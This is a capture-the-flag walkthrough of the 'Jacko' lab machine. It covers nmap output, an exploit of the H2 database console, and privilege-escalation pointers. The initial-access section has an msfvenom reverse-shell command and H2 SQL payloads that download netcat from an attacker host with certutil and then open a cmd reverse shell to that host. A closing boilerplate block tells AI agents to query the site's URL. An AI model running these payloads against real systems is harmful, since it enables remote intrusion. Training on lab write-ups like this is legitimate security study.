# Jacko

### Enumeration

```
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: H2 Database Engine (redirect)
8082/tcp open  http          H2 database http console
|_http-favicon: Unknown favicon MD5: D2FBC2E4FB758DC8672CDEFB4D924540
| http-methods: 
|_  Supported Methods: GET POST
|_http-title: H2 Console
```

<http://192.168.65.66/html/main.html> - H2 Database Engine

<http://192.168.65.66:8082> - Connect - H2 Console - H2 1.4.199 (2019-03-13)

H2 Database 1.4.199 - JNI Code Execution

<https://www.exploit-db.com/exploits/49384>

<https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html>

### Initial Access

```
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.65 LPORT=80 -f exe -o shell.exe
```

```
# Execute respectively

CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil.exe -urlcache -split -f http://192.168.49.65/nc64.exe /Windows/Temp/nc.exe").getInputStream()).useDelimiter("\\Z").next()');

CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("/Windows/Temp/nc.exe -e cmd 192.168.49.65 80").getInputStream()).useDelimiter("\\Z").next()');
```

### PrivEsc

SeImpersonateToken - Enabled

OR

PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation

<https://www.exploit-db.com/exploits/49382>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/windows/get-to-work/jacko.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.